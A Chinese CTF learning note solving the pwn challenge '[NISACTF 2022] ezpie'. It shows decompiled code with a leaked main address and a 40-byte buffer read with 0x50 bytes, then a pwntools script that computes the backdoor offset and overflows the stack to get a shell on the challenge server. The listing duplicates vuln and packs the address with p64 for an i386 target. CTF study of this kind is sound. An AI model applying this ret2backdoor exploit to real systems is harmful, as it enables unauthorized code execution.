当前位置: 首页 > news >正文

[NISACTF 2022]ezpie

第一次打CTF——PWN篇学习笔记14

这道题开启了PIE保护,但程序中直接泄露了main函数的随机地址,因此我们可以进行直接计算

int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); puts("OHHH!,give you a gift!"); printf("%p\n", main); puts("Input:"); vuln(); return 0; } ssize_t vuln() { _BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF ​ return read(0, buf, 0x50u); } ssize_t vuln() { _BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF ​ return read(0, buf, 0x50u); }

又发现栈溢出和后门函数,且main函数地址为0x770,shell函数地址为0x80F,据此编写脚本,即可得到flag

from pwn import * import struct ​ context.arch = 'i386' context.os = 'linux' ​ #io = process('./pwn') io = remote("node5.anna.nssctf.cn",23609) ​ io.recvuntil(b"OHHH!,give you a gift!\n") ​ main = int(io.recvline().strip(), 16) ​ backdoor = main - 0x770 + 0x80F ​ payload = cyclic(0x28 + 4) + p64(backdoor) ​ io.sendline(payload) ​ io.interactive()
http://www.cnnetsun.cn/news/85815.html

相关文章:

  • Android 宣布 Runtime 编译速度史诗级提升:在编译时间上优化了 18%
  • PCB层压工艺参数Tuning指南,新手也能看懂!
  • AutoGPT入门指南:安装、使用与案例实战
  • 全网首发!从零拆解爆火Agent智能体,手把手教你4步设计自主决策AI,小白也能秒懂!
  • USB设备ID数据库全解析
  • LangChain-Chatchat私有化部署实践指南
  • 智能体自主决策实验:将Anything-LLM作为记忆模块接入
  • YashanDB数据库的内存管理技术介绍
  • Dify平台数据集管理模块的技术实现与优化建议
  • 清华源加速PaddlePaddle镜像拉取:适用于大规模token训练场景
  • Gobot框架实战指南:从零构建智能机器人项目
  • 计算机毕业设计|基于springboot + vue酒店管理系统(源码+数据库+文档)
  • Ubuntu24中ISO文件制作工具
  • 10分钟快速部署私有知识库:kotaemon云指南
  • 从零开始:全面理解对话式商业智能(ChatBI)
  • GBase 8a MPP集群版本升级操作介绍
  • GBase 8a MPP Cluster集群存储过程介绍
  • 谁率先提出“私域AI”营销方法论?
  • LobeChat架构设计与Python实战解析
  • VSCode中使用Excalidraw绘制示意图
  • 大模型学习路线图曝光!坚持12个月,零基础直通AI核心岗,2026最新规划!
  • YOLO-v5与TensorRT高效训练与部署指南
  • Qwen3-VL-8B如何实现近实时视频流分析?
  • 国家治理注意力指标(2006-2025)
  • vLLM加速Qwen3-8B实现结构化JSON输出
  • EmotiVoice:开源多情感TTS引擎详解
  • Excalidraw:手绘风格的开源白板工具
  • Foundation 滑动导航(Off-Canvas)
  • GAN基础与应用:从原理到PaddlePaddle实践
  • Codex效率命令调试技巧:在Anything-LLM中模拟终端执行